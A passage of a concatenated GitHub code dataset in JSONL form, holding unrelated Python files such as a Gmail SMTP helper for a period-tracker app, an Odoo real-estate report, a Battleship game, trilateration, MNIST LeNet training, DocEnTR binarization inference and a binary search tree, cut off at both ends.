Gmail.\"\"\"\n for filename in os.listdir(path):\n if not filename.endswith('.mbox'):\n continue\n count = 0\n mbox = mailbox.mbox(os.path.join(path, filename))\n mbox.lock()\n try:\n for key, msg in mbox.items():\n if 'Trash' in msg.get('X-Gmail-Labels'):\n mbox.remove(key)\n count += 1\n finally:\n mbox.flush()\n mbox.close()\n print('Removed {} messages from {}.'.format(count, filename))\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"Conengmo/emailstripper","sub_path":"emailstripper/run_remove_trash.py","file_name":"run_remove_trash.py","file_ext":"py","file_size_in_byte":679,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"75"} +{"seq_id":"21929027208","text":"# Email server\nimport smtplib\nfrom email.mime.text import MIMEText\nimport os\nfrom dotenv import load_dotenv\n\nload_dotenv()\n\nfrom_user = os.environ.get(\"GMAIL_EMAIL\")\nfrom_password = os.environ.get(\"GMAIL_PASSWORD\")\n\ndef init_server():\n try:\n server_ssl = smtplib.SMTP_SSL('smtp.gmail.com', 465)\n server_ssl.login(from_user, from_password)\n except:\n print(\"SMTP failed to initialize server connections\")\n return server_ssl\n\ndef send_email(to_addr, subject, body):\n msg = MIMEText(body, 'html')\n msg['Subject'] = subject\n msg['From'] = from_user\n msg['To'] = ','.join(to_addr)\n server_ssl = init_server()\n server_ssl.sendmail(from_user, to_addr, msg.as_string())\n server_ssl.close()\n\n# ---------------------------------------------------\n# Util\n# ---------------------------------------------------\n# [{'symptoms': {'discharge': ['thin_clear'], 'flow': ['heavy'], \n# 'collection': ['disposable_pad']}, 'userId': 'i4snpHY5EueLbxVeT8XvKziW0mz2', \n# 'month': Decimal('8'), 'timestamp': Decimal('1627876800'), 'year': Decimal('2021'), \n# 'dateStr': '2021-08-02', 'day': Decimal('2')}, \n# \n# {'dateStr': '2021-08-03', 'symptoms': {'discharge': ['stringy_stretchy'], \n# 'flow': ['medium'], 'collection': ['reusable_pad']}, \n# 'userId': 'i4snpHY5EueLbxVeT8XvKziW0mz2', 'timestamp': Decimal('1627963200')}, \n# \n# {'dateStr': '2021-08-04', 'symptoms': {'discharge': ['thin_clear'], 'symptoms': ['headache', 'cramps'], 'collection': ['reusable_pad'], 'mood': ['content', 'excited'], 'flow': ['heavy']}, 'userId': 'i4snpHY5EueLbxVeT8XvKziW0mz2', 'timestamp': Decimal('1628035200')}, \\\n# {'symptoms': {'discharge': ['thin_clear'], 'symptoms': ['cramps'], 'collection': ['disposable_pad'], 'mood': ['excited'], 'flow': ['heavy']}, 'userId': 'i4snpHY5EueLbxVeT8XvKziW0mz2', 'month': Decimal('8'), 'timestamp': Decimal('1628136000'), 'year': Decimal('2021'), 'dateStr': '2021-08-05', 'day': Decimal('5')}]\ndef format_period_history(month_year, list_date, ref_data):\n def helper_find_name_from_id(inKey, inValue=None):\n # By default, it will search as key\n # if inValue==True, search as value\n for curr_dict in ref_data:\n if curr_dict['key'] == inKey:\n if not inValue:\n return curr_dict['title']\n else:\n foundIndex = curr_dict['availableOptions_id'].index(inValue)\n return curr_dict['availableOptions'][foundIndex]\n return 'N/A'\n\n res = f\"\"\"\n <html>\n <h2>You have {len(list_date)} period days in {month_year}:</h2>\n <br/>\n \"\"\"\n \n for curr_date in list_date:\n res += f\"<h3>{curr_date['dateStr']}</h3>\"\n for symp_key, symp_val in curr_date['symptoms'].items():\n symp_key_name = helper_find_name_from_id(symp_key)\n symp_val_names = [helper_find_name_from_id(symp_key, x) for x in symp_val]\n res += f\"\"\"\n <p><b>{symp_key_name}</b> : {', '.join(symp_val_names)}</p>\n \"\"\"\n res += \"<br/>\"\n\n res += \"\"\"\n </html>\n \"\"\"\n\n return res\n\nif __name__ == \"__main__\":\n server_ssl = init_server()\n server_ssl.sendmail(from_user, \"ducth1903@gmail.com\", \"Testing Period Tracker App\")\n server_ssl.close()","repo_name":"ducth1903/sas-period-tracker","sub_path":"server/api/v0/utils/email.py","file_name":"email.py","file_ext":"py","file_size_in_byte":3281,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"75"} +{"seq_id":"14745382209","text":"# -*- coding: utf-8 -*-\nimport time\nfrom odoo import api, fields, models, _\nfrom odoo.exceptions import UserError\n\nclass Parser(models.AbstractModel):\n _name = 'report.itsys_real_estate.report_sales_rep'\n\n def _get_lines(self,start_date, end_date, salesperson_ids):\n result=[]\n if len(salesperson_ids)==0:\n contract_ids = self.env['ownership.contract'].search([('date','>=',start_date),('date','<=',end_date)])\n contracts=[]\n for obj in contract_ids: contracts.append(obj.id)\n contracts=self.env['ownership.contract'].browse(contracts)\n users=[]\n for c in contracts:\n users.append(c.user_id)\n salesperson_ids=users\n salesperson_ids = list(set(salesperson_ids))\n for person in salesperson_ids:\n lines=[]\n paid=0\n amount=0\n balance=0\n res={}\n contract_ids = self.env['ownership.contract'].search([('user_id', '=', person.id),('date','>=',start_date),('date','<=',end_date)])\n contracts=[]\n for obj in contract_ids: contracts.append(obj.id)\n contracts=self.env['ownership.contract'].browse(contracts)\n for contract in contracts:\n line = []\n line.append(contract.user_id.name)\n line.append(contract.name)\n line.append(contract.date)\n line.append(contract.city)\n line.append(contract.region)\n line.append(contract.building.name)\n line.append(contract.building_unit.name)\n\n paid_contract=0\n balance_contract=0\n total_contract=0\n for l in contract.loan_line:\n if l.paid:\n paid_contract+= l.amount\n for l in contract.loan_line:\n if not l.paid:\n balance_contract+= l.amount\n for l in contract.loan_line:\n total_contract+= l.amount\n\n line.append(total_contract)\n line.append(paid_contract)\n line.append(balance_contract)\n\n lines.append(line)\n paid+=paid_contract\n amount+=total_contract\n balance+=balance_contract\n res['lines']=lines\n res['totals']=[amount,paid,balance]\n result.append(res)\n\n return result\n\n\n def _get_total(self,start_date, end_date, salesperson_ids):\n result=[]\n paid=0\n amount=0\n balance=0\n if len(salesperson_ids)==0:\n contract_ids = self.env['ownership.contract'].search([('date','>=',start_date),('date','<=',end_date)])\n contracts=[]\n for obj in contract_ids: contracts.append(obj.id)\n contracts=self.env['ownership.contract'].browse(contracts)\n users=[]\n for c in contracts:\n users.append(c.user_id)\n salesperson_ids=users\n salesperson_ids = list(set(salesperson_ids))\n for person in salesperson_ids:\n contract_ids = self.env['ownership.contract'].search([('user_id', '=', person.id),('date','>=',start_date),('date','<=',end_date)])\n contracts=[]\n for obj in contract_ids: contracts.append(obj.id)\n contracts=self.env['ownership.contract'].browse(contracts)\n for contract in contracts:\n paid+=contract.paid\n amount+=contract.total_amount\n balance+=contract.balance\n result=[[amount,paid,balance]]\n return result\n\n\n @api.model\n def get_report_values(self, docids, data=None):\n if not data.get('form'):\n raise UserError(_(\"Form content is missing, this report cannot be printed.\"))\n\n sales_rep = self.env['ir.actions.report']._get_report_from_name('itsys_real_estate.report_sales_rep')\n\n return {\n 'doc_ids': self.ids,\n 'doc_model': sales_rep.model,\n 'date_to': data['form']['date_to'],\n 'date_from': data['form']['date_from'],\n 'get_lines': self._get_lines(data['form']['date_from'], data['form']['date_to'], data['form']['user_ids']),\n 'get_total': self._get_total(data['form']['date_from'], data['form']['date_to'], data['form']['user_ids']),\n }","repo_name":"odoo-modules/realestate","sub_path":"itsys_real_estate/report/parser_salesperson.py","file_name":"parser_salesperson.py","file_ext":"py","file_size_in_byte":4437,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"75"} +{"seq_id":"74938195761","text":"import cdkk\n\n# --------------------------------------------------\n\n\nclass BoardGame_Battleship(cdkk.BoardGame):\n ships_cfg = {\n \"Aircraft Carrier\": 5,\n \"Battleship\": 4,\n \"Cruiser\": 3,\n \"Submarine\": 3,\n \"Destroyer\": 2\n }\n\n def init_game(self):\n super().init_game()\n self.set_player_names([\"Player\", \"Computer\"])\n self._guess_board = cdkk.Board(self.xsize, self.ysize)\n self.ships = []\n\n def start_game(self):\n super().start_game()\n self._guess_board.clear_board()\n self.ships.clear()\n for name, size in BoardGame_Battleship.ships_cfg.items():\n ship = self.set_random(code=name[0], num=size)\n ship[\"sunk\"] = False\n self.ships.append(ship)\n\n def process_input(self, keys):\n if keys is not None:\n xcol, yrow = cdkk.Board.a1_to_xy(keys)\n self.play_piece(xcol, yrow, context=None)\n return (keys is not None)\n\n def valid_play(self, col=None, row=None, check_if_blank=True):\n return self._guess_board.is_blank(col, row)\n\n def execute_play(self, col, row, code=None):\n if self.is_blank(col, row):\n code = 'x'\n super().execute_play(col, row, code)\n else:\n code = '█'\n self._guess_board.set_piece(col, row, code)\n return None\n\n def manage_consequences(self, *args):\n for ship in self.ships:\n if self._guess_board.is_code(ship[\"xpos\"], ship[\"ypos\"], '█', xcols=ship[\"xcols\"], yrows=ship[\"yrows\"]):\n self._guess_board.set_piece(ship[\"xpos\"], ship[\"ypos\"],\n ship[\"code\"], xcols=ship[\"xcols\"], yrows=ship[\"yrows\"])\n ship[\"sunk\"] = True\n\n def check_game_over(self, player_num, col, row):\n winner = None\n\n if len(self.find(\".\")) < len(self.find(\"x\")):\n winner = 2 # Less spaces than misses - You lost\n\n all_sunk = True\n for ship in self.ships:\n if not ship[\"sunk\"]:\n all_sunk = False\n if all_sunk:\n winner = 1 # All sunk - You won\n\n return winner\n\n def draw_game(self):\n cdkk.Board.print_boards([self._guess_board, self], prefix=\"\", inc_labels=True)\n # self._guess_board.print_board(prefix=\"\", inc_labels=True)\n\n def end_game(self):\n print(\"\\nWinner = \" + self.winner_name + \"\\n\")\n super().end_game()\n\n# --------------------------------------------------\n\n\nclass BoardGame_BattleshipApp(cdkk.cdkkApp):\n def __init__(self):\n app_config = {\n \"exit_at_end\": True,\n \"read_key_and_process\": {\"match_pattern\": \"[a-jA-J][0-9]\", \"as_upper\": True, \"multi_key\": True}\n }\n super().__init__(app_config)\n self.add_game_mgr(BoardGame_Battleship(10))\n\n\nBoardGame_BattleshipApp().execute()\n","repo_name":"BrianDunneKK/BoardGames","sub_path":"Battleship.py","file_name":"Battleship.py","file_ext":"py","file_size_in_byte":2894,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"33913940221","text":"from APIH import HhAPI, SuperjobAPI\nfrom vacancy import Vacancy\nfrom File import JsonFileHandler\n\n\ndef user_interaction():\n print(\"Выберите платформу для поиска вакансий (1 - hh.ru, 2 - superjob.ru): \")\n platform_choice = input()\n print(\"Введите поисковый запрос: \")\n query = input()\n\n api = None\n if platform_choice == '1':\n api = HhAPI()\n elif platform_choice == '2':\n api = SuperjobAPI()\n\n vacancies_data = api.fetch_vacancies(query)\n\n vacancies = [Vacancy(v['name'], v['url'], v.get('salary', 'N/A'), v.get('description', 'N/A')) for v in\n vacancies_data ]\n\n\n # Сохраняем в файл\n handler = JsonFileHandler('vacancies.json')\n handler.save_vacancies(vacancies)\n\n # Выводим результаты\n for v in vacancies:\n print(v.title, v.salary)\n","repo_name":"Innokentiyka/python","sub_path":"users.py","file_name":"users.py","file_ext":"py","file_size_in_byte":899,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"26016557529","text":"import numpy as np\nfrom sympy import *\nfrom sympy.geometry import *\n\ndef trilateration(points, distances, dim):\n with open('parameters/abc_param.txt', 'r') as f:\n lines = f.readlines()\n a=float(lines[0][4:])\n b=float(lines[1][4:])\n c=float(lines[2][4:])\n if dim == 3:\n p1,p2,p3,p4 = np.array(points)\n r1,r2,r3,r4 = np.array(distances)\n else:\n p1,p2,p3 = np.array(points)\n r1,r2,r3 = np.array(distances)\n e_x=(p2-p1)/np.linalg.norm(p2-p1)\n i=np.dot(e_x,(p3-p1))\n e_y=(p3-p1-(i*e_x))/(np.linalg.norm(p3-p1-(i*e_x)))\n e_z=np.cross(e_x,e_y)\n d=np.linalg.norm(p2-p1)\n j=np.dot(e_y,(p3-p1))\n x=((r1**2)-(r2**2)+(d**2))/(2*d)\n y=(((r1**2)-(r3**2)+(i**2)+(j**2))/(2*j))-((i/j)*(x))\n if dim == 2:\n ans1=p1+(x*e_x)+(y*e_y)\n return ans1\n z1=np.sqrt(max(0, r1**2-x**2-y**2))\n z2=-z1\n ans1=p1+(x*e_x)+(y*e_y)+(z1*e_z)\n ans2=p1+(x*e_x)+(y*e_y)+(z2*e_z)\n multp_z = lambda x:a*x**2+b*x+c\n ans1[2] = multp_z(ans1[2])\n return ans1\n # dist1=np.linalg.norm(p4-ans1)\n # dist2=np.linalg.norm(p4-ans2)\n # if np.abs(r4-dist1)<np.abs(r4-dist2):\n # return ans1\n # else:\n # return ans2\n\n \n \n\n\n","repo_name":"farisamirmudin/Ultra-Wideband-Localization-Project","sub_path":"host_pc/trilateration.py","file_name":"trilateration.py","file_ext":"py","file_size_in_byte":1225,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"38031496405","text":"delka = randint(3, 10)*1000\nklic = False\nklic_zacatek = False\nklic_whole = True\nhudba = False\n\ndef zacatek():\n global klic_zacatek\n global delka, klic , hudba\n doba_zacatek = input.running_time()\n if doba_zacatek >= delka:\n basic.show_icon(IconNames.DIAMOND)\n klic_zacatek = True\n klic = True\n hudba = True\n basic.clear_screen()\n\ndef restart():\n if input.logo_is_pressed():\n control.reset()\n\ndef hudba_loop():\n global hudba\n if hudba:\n music.play_tone(262, 1500)\n\ndef hra():\n global klic, klic_zacatek, klic_whole, hudba\n if klic_whole == True:\n if klic_zacatek == False:\n zacatek()\n control.in_background(hudba_loop)\n if klic == True:\n if input.pin_is_pressed(TouchPin.P1):\n basic.show_number(1)\n klic_whole = False\n elif input.pin_is_pressed(TouchPin.P2):\n basic.show_number(2)\n klic_whole = False\n elif input.pin_is_pressed(TouchPin.P1) and input.pin_is_pressed(TouchPin.P2):\n basic.show_string(\"R\")\n klic_whole = False\n else:\n if input.pin_is_pressed(TouchPin.P1):\n basic.show_string(\"B\")\n klic_whole = False\n elif input.pin_is_pressed(TouchPin.P2):\n basic.show_string(\"A\")\n klic_whole = False\n elif input.pin_is_pressed(TouchPin.P1) and input.pin_is_pressed(TouchPin.P2):\n basic.show_string(\"C\")\n klic_whole = False\n else:\n pause(3000)\n control.reset()\nforever(hra)\n","repo_name":"MatyAdamec/Microbit","sub_path":"hadani_delky_casu.py","file_name":"hadani_delky_casu.py","file_ext":"py","file_size_in_byte":1653,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"71044442162","text":"seen=set()\nfrom itertools import islice,count\ndef is_prime(n):\n for i in islice(count(2),int(n**0.5-1)):\n if n%i==0:\n return 0\n return 1\ndef is_prime_list(list_):\n for n in list_:\n if not is_prime(n):return 0\n return 1\nfor x in islice(count(2),1000000):\n if not is_prime(x):continue\n if x in seen:continue\n strx=str(x)\n list_=l=[int(strx[n:]+strx[:n]) for n in range(0,len(strx))]\n if is_prime_list(list_):\n seen.update(list_)\nprint(len(seen))\n","repo_name":"basnetsoyuj/ProjectEuler","sub_path":"Problem 35 - Circular primes/35.py","file_name":"35.py","file_ext":"py","file_size_in_byte":511,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"75"} +{"seq_id":"34641286563","text":"import os\nimport sys\nimport cPickle\nimport theano.tensor as T\n\nhomepath = '..'\nif not homepath in sys.path:\n sys.path.insert(0, homepath)\n\nfrom dlearn.data.dataset import Dataset\nfrom dlearn.models.layer import FullConnLayer, ConvPoolLayer\nfrom dlearn.models.nnet import NeuralNet\nfrom dlearn.utils import actfuncs, costfuncs, Wrapper\nfrom dlearn.optimization import sgd\n\n\ndef load_data():\n fpath = os.path.join('..', 'data', 'mnist', 'mnist.pkl')\n\n with open(fpath, 'rb') as f:\n train_set, valid_set, test_set = cPickle.load(f)\n\n dataset = Dataset(\n train=Wrapper(\n input=train_set[0].reshape(train_set[0].shape[0], 1, 28, 28),\n target=train_set[1]\n ),\n valid=Wrapper(\n input=valid_set[0].reshape(valid_set[0].shape[0], 1, 28, 28),\n target=valid_set[1]\n ),\n test=Wrapper(\n input=test_set[0].reshape(test_set[0].shape[0], 1, 28, 28),\n target=test_set[1]\n ),\n limit=None\n )\n\n return dataset\n\n\ndef train_model(dataset):\n X = T.tensor4()\n Y = T.lvector()\n\n layers = []\n layers.append(ConvPoolLayer(\n input=X,\n input_shape=(1, 28, 28),\n filter_shape=(32, 1, 5, 5),\n pool_shape=(2, 2),\n active_func=actfuncs.tanh\n ))\n\n layers.append(ConvPoolLayer(\n input=layers[-1].output,\n input_shape=layers[-1].output_shape,\n filter_shape=(64, 32, 5, 5),\n pool_shape=(2, 2),\n active_func=actfuncs.tanh,\n flatten=True\n ))\n\n layers.append(FullConnLayer(\n input=layers[-1].output,\n input_shape=layers[-1].output_shape,\n output_shape=512,\n active_func=actfuncs.tanh\n ))\n\n layers.append(FullConnLayer(\n input=layers[-1].output,\n input_shape=layers[-1].output_shape,\n output_shape=10,\n active_func=actfuncs.softmax\n ))\n\n model = NeuralNet(layers, X, layers[-1].output)\n model.target = Y\n model.cost = costfuncs.neglog(layers[-1].output, Y)\n model.error = costfuncs.miscls_rate(layers[-1].output, Y)\n\n sgd.train(model, dataset, lr=0.1, momentum=0.9,\n batch_size=500, n_epochs=200,\n lr_decr=1.0)\n\n return model\n\n\ndef save_model(model):\n with open('model.pkl', 'wb') as f:\n cPickle.dump(model, f, cPickle.HIGHEST_PROTOCOL)\n\n\nif __name__ == '__main__':\n dataset = load_data()\n model = train_model(dataset)\n save_model(model)\n","repo_name":"Cysu/dlearn","sub_path":"examples/mnist_lenet5.py","file_name":"mnist_lenet5.py","file_ext":"py","file_size_in_byte":2466,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"75"} +{"seq_id":"19298901154","text":"from decouple import config\nfrom aiogram import Bot, Dispatcher\nfrom aiogram.utils import executor\nfrom aiogram.types import BotCommand\nfrom handlers.common import register_handlers_common\n\nTOKEN = config('TOKEN')\n \n\nbot = Bot(token=TOKEN)\ndp = Dispatcher(bot)\n\n\nasync def set_commands(bot: Bot):\n commands = [\n BotCommand(command=\"/get\", description='Get your balance from Wise'), \n ]\n await bot.set_my_commands(commands)\n\nasync def on_startup(_):\n register_handlers_common(dp)\n await set_commands(bot)\n\nif __name__ == '__main__':\n executor.start_polling(dp, skip_updates=True, on_startup=on_startup)","repo_name":"Aist/wise-tg-bot","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":633,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"11491544753","text":"import torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport torchaudio\nfrom dpcv.config.interpret_aud_cfg import cfg\nfrom dpcv.engine.bi_modal_trainer import AudioTrainer\nfrom dpcv.modeling.networks.audio_interpretability_net import get_model\nfrom dpcv.tools.common import setup_seed, setup_config\nfrom dpcv.tools.logger import make_logger\nfrom dpcv.tools.common import parse_args\nfrom dpcv.evaluation.summary import TrainSummary\nfrom dpcv.data.datasets.interpretability_audio_data import make_data_loader, norm\nfrom dpcv.tools.exp import run\n\n\ndef main(args, cfg):\n setup_seed(12345)\n cfg = setup_config(args, cfg)\n logger, log_dir = make_logger(cfg.OUTPUT_DIR)\n\n data_loader = {\n \"train\": make_data_loader(cfg, mode=\"train\"),\n \"valid\": make_data_loader(cfg, mode=\"valid\"),\n \"test\": make_data_loader(cfg, mode=\"test\")\n }\n\n model = get_model(cfg)\n loss_f = nn.MSELoss()\n\n optimizer = optim.SGD(model.parameters(), lr=cfg.LR_INIT, weight_decay=cfg.WEIGHT_DECAY)\n scheduler = optim.lr_scheduler.MultiStepLR(optimizer, gamma=cfg.FACTOR, milestones=cfg.MILESTONE)\n\n collector = TrainSummary()\n trainer = AudioTrainer(cfg, collector, logger)\n\n run(cfg, data_loader, model, loss_f, optimizer, scheduler, trainer, collector, logger, log_dir)\n\n\ndef audio_process(aud_file):\n aud_data, sample_rate = torchaudio.load(aud_file)\n trans_aud = torchaudio.transforms.Resample(sample_rate, 4000)(aud_data[0, :].view(1, -1))\n trans_fft = torch.fft.fft(trans_aud)\n half_length = int(trans_aud.shape[-1] / 2)\n trans_fre = torch.abs(trans_fft)[..., :half_length]\n trans_fre_norm = norm(trans_fre)\n if trans_fre_norm.shape[-1] < 30604:\n print(\"unusual input audio with the length:{}\".format(trans_fre_norm.shape[-1]))\n return trans_fre_norm\n\n\ndef load_model(cfg, weights):\n model = get_model(cfg)\n checkpoint = torch.load(weights)\n model.load_state_dict(checkpoint[\"model_state_dict\"])\n return model\n\n\ndef visualize_cam(model_weights, image, trait_id=None):\n from dpcv.tools.cam import CAM\n from dpcv.tools.cam_vis import to_pil_image, overlay_audio_mask\n import matplotlib.pylab as plt\n aud_tensor = audio_process(image)\n model = load_model(cfg, model_weights)\n cam_extractor = CAM(model, \"gap\", enable_hooks=False, conv1d=True)\n cam_extractor._hooks_enabled = True\n\n model.zero_grad()\n scores = model(aud_tensor.unsqueeze(0).cuda())\n\n trait_id = scores.squeeze(0).argmax().item() if trait_id is None else trait_id\n activation_map = cam_extractor(trait_id, scores).cpu()\n\n cam_extractor.clear_hooks()\n cam_extractor._hooks_enabled = False\n\n # heatmap = to_pil_image(activation_map, mode='F')\n result = overlay_audio_mask(aud_tensor, activation_map)\n\n plt.plot(result[0])\n plt.show()\n\n\nif __name__ == \"__main__\":\n # args = parse_args()\n # main(args, cfg)\n wav_ls = [\"../datasets/raw_voice/validationData/0mym1CooiTE.005.wav\",\n \"../datasets/raw_voice/validationData/0uCqd5hZcyI.004.wav\",\n \"../datasets/raw_voice/validationData/1pm5uoU85FI.004.wav\",\n \"../datasets/raw_voice/validationData/2rV3Ibtdnvs.001.wav\",\n \"../datasets/raw_voice/validationData/5KHOpRCxnwQ.001.wav\"]\n for wav in wav_ls:\n visualize_cam(\n \"../results/interpret_aud/11-06_00-35/checkpoint_21.pkl\",\n wav,\n )\n","repo_name":"liaorongfan/DeepPersonality","sub_path":"dpcv/exps_first_stage/07_interpret_audio_net.py","file_name":"07_interpret_audio_net.py","file_ext":"py","file_size_in_byte":3415,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"75"} +{"seq_id":"37200649402","text":"import numpy as np\nimport tempfile\nimport torch\nimport cv2\nfrom vit_pytorch import ViT\nfrom einops import rearrange\nfrom cog import BasePredictor, Input, Path\n\nfrom models.binae import BinModel\n\n\nTHRESHOLD = 0.5 ## binarization threshold after the model output\nSPLITSIZE = 256 ## your image will be divided into patches of 256x256 pixels\nimage_size = (\n SPLITSIZE,\n SPLITSIZE,\n) ## your image will be divided into patches of 256x256 pixels\n\n\nclass Predictor(BasePredictor):\n def setup(self):\n \"\"\"Load the model into memory to make running multiple predictions efficient\"\"\"\n\n self.device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n\n self.settings = {\n \"base\": {\n \"ENCODERLAYERS\": 6,\n \"ENCODERHEADS\": 8,\n \"ENCODERDIM\": 768,\n \"patch_size\": 8,\n },\n \"large\": {\n \"ENCODERLAYERS\": 12,\n \"ENCODERHEADS\": 16,\n \"ENCODERDIM\": 1024,\n \"patch_size\": 16,\n },\n }\n\n v = {\n k: ViT(\n image_size=image_size,\n patch_size=self.settings[k][\"patch_size\"],\n num_classes=1000,\n dim=self.settings[k][\"ENCODERDIM\"],\n depth=self.settings[k][\"ENCODERLAYERS\"],\n heads=self.settings[k][\"ENCODERHEADS\"],\n mlp_dim=2048,\n )\n for k in [\"base\", \"large\"]\n }\n\n self.models = {\n k: BinModel(\n encoder=v[k],\n decoder_dim=self.settings[k][\"ENCODERDIM\"],\n decoder_depth=self.settings[k][\"ENCODERLAYERS\"],\n decoder_heads=self.settings[k][\"ENCODERHEADS\"],\n )\n for k in [\"base\", \"large\"]\n }\n\n self.models[\"base\"].to(self.device)\n self.models[\"large\"].to(self.device)\n\n base_model_path = \"weights/best-model_8_2018base_256_8.pt\" # weights are pre-downloaded\n self.models[\"base\"].load_state_dict(\n torch.load(base_model_path, map_location=self.device)\n )\n\n large_model_path = \"weights/best-model_16_2018large_256_16.pt\"\n self.models[\"large\"].load_state_dict(\n torch.load(large_model_path, map_location=self.device)\n )\n\n def predict(\n self,\n image: Path = Input(\n description=\"Input Image.\",\n ),\n model_size: str = Input(\n default=\"base\",\n choices=[\"base\", \"large\"],\n description=\"Choose the model size.\",\n ),\n ) -> Path:\n \"\"\"Run a single prediction on the model\"\"\"\n \n deg_image = cv2.imread(str(image)) / 255\n\n ## Split the image intop patches, an image is padded first to make it dividable by the split size\n h = ((deg_image.shape[0] // 256) + 1) * 256\n w = ((deg_image.shape[1] // 256) + 1) * 256\n deg_image_padded = np.ones((h, w, 3))\n deg_image_padded[: deg_image.shape[0], : deg_image.shape[1], :] = deg_image\n patches = split(deg_image_padded, deg_image.shape[0], deg_image.shape[1])\n\n ## preprocess the patches (images)\n mean = [0.485, 0.456, 0.406]\n std = [0.229, 0.224, 0.225]\n\n out_patches = []\n for p in patches:\n out_patch = np.zeros([3, *p.shape[:-1]])\n for i in range(3):\n out_patch[i] = (p[:, :, i] - mean[i]) / std[i]\n out_patches.append(out_patch)\n\n result = []\n for patch_idx, p in enumerate(out_patches):\n print(f\"({patch_idx} / {len(out_patches) - 1}) processing patch...\")\n p = np.array(p, dtype=\"float32\")\n train_in = torch.from_numpy(p)\n\n with torch.no_grad():\n train_in = train_in.view(1, 3, SPLITSIZE, SPLITSIZE).to(self.device)\n _ = torch.rand((train_in.shape)).to(self.device)\n\n loss, _, pred_pixel_values = self.models[model_size](train_in, _)\n\n rec_patches = pred_pixel_values\n\n rec_image = torch.squeeze(\n rearrange(\n rec_patches,\n \"b (h w) (p1 p2 c) -> b c (h p1) (w p2)\",\n p1=self.settings[model_size][\"patch_size\"],\n p2=self.settings[model_size][\"patch_size\"],\n h=image_size[0] // self.settings[model_size][\"patch_size\"],\n )\n )\n\n impred = rec_image.cpu().numpy()\n impred = np.transpose(impred, (1, 2, 0))\n\n for ch in range(3):\n impred[:, :, ch] = (impred[:, :, ch] * std[ch]) + mean[ch]\n\n impred[np.where(impred > 1)] = 1\n impred[np.where(impred < 0)] = 0\n result.append(impred)\n\n clean_image = merge_image(\n result, deg_image_padded.shape[0], deg_image_padded.shape[1]\n )\n clean_image = clean_image[: deg_image.shape[0], : deg_image.shape[1], :]\n clean_image = (clean_image > THRESHOLD) * 255\n\n output_path = Path(tempfile.mkdtemp()) / \"output.png\"\n\n cv2.imwrite(str(output_path), clean_image)\n return output_path\n\n\ndef split(im, h, w):\n \"\"\"\n split image into patches\n\n Args:\n im (np.array): image to be splitted\n h (int): image height\n w (int): image width\n Returns:\n patches [np.array, ..., np.array]: list of patches with size SPLITSIZExSPLITSIZE\n obtained from image\n \"\"\"\n patches = []\n nsize1 = SPLITSIZE\n nsize2 = SPLITSIZE\n for ii in range(0, h, nsize1): # 2048\n for iii in range(0, w, nsize2): # 1536\n patches.append(im[ii : ii + nsize1, iii : iii + nsize2, :])\n\n return patches\n\n\ndef merge_image(splitted_images, h, w):\n \"\"\"\n merge patches into image and return it\n\n Args:\n splitted_images [np.array, ..., np.array]: list of patches to costruct the image\n h (int): final image height\n w (int): final image width\n Returns:\n image (np.array): the constructed image\n \"\"\"\n image = np.zeros(((h, w, 3)))\n nsize1 = SPLITSIZE\n nsize2 = SPLITSIZE\n ind = 0\n for ii in range(0, h, nsize1):\n for iii in range(0, w, nsize2):\n image[ii : ii + nsize1, iii : iii + nsize2, :] = splitted_images[ind]\n ind += 1\n return image\n","repo_name":"dali92002/DocEnTR","sub_path":"predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":6468,"program_lang":"python","lang":"en","doc_type":"code","stars":118,"dataset":"github-code","pt":"75"} +{"seq_id":"33036548301","text":"class TreeNode:\n def __init__(self,data):\n self.data=data\n self.left=None\n self.right=None\n \ndef addNode(node,value):\n if node==None:\n return TreeNode(value)\n elif value<=node.data:\n node.left=addNode(node.left,value)\n elif value>node.data:\n node.right=addNode(node.right,value)\n return node\n\ndef inorder(root):\n if root==None:\n return \n inorder(root.left)\n print(root.data)\n inorder(root.right)\n\ndef search(root,val):\n if root == None:\n print('Unable to find it !!')\n elif root.data==val:\n print('got it !!')\n \n elif root.data>val:\n search(root.left,val)\n elif root.data<val:\n search(root.right,val)\n\ndef inorderSuccessor(root):\n current=root\n while current.left!=None:\n current=current.left\n return current\ndef dl8Util(root,val):\n if root==None:\n return root\n elif val<root.data:\n root.left=dl8Util(root.left,val)\n elif val>root.data:\n root.right=dl8Util(root.right,val)\n else:\n if not root.left:\n temp=root.right\n root=None\n return temp\n elif not root.right:\n temp=root.left\n root=None\n return temp\n else:\n temp=inorderSuccessor(root.right)\n root.data=temp.data\n root.right=dl8Util(root.right,temp.data)\n return root\n\n \n\n\nroot=None\nroot=addNode(root,10)\n\nroot=addNode(root,2)\n\nroot=addNode(root,15)\nroot=addNode(root,1)\nroot=addNode(root,20)\nroot=addNode(root,26)\nroot=addNode(root,5)\nroot=addNode(root,6)\n\n\ninorder(root)\nsearch(root,20)\n\ndl8Util(root,2)\nprint()\ninorder(root)\n","repo_name":"SANDIPAN22/DSA","sub_path":"tree/Binary Search Tree_all.py","file_name":"Binary Search Tree_all.py","file_ext":"py","file_size_in_byte":1681,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"18859043266","text":"from django.db import models\nfrom core.models import TimeStampedModel\n\nfrom .ice_check_post import IceCheckPost\nfrom crum import get_current_user\n\n\nclass IceThicknessManager(models.Manager):\n def get_queryset(self):\n user = get_current_user()\n\n if user.is_region:\n return (\n super().get_queryset().filter(\n ice_check_post__water_body__region_id=user.region_id\n 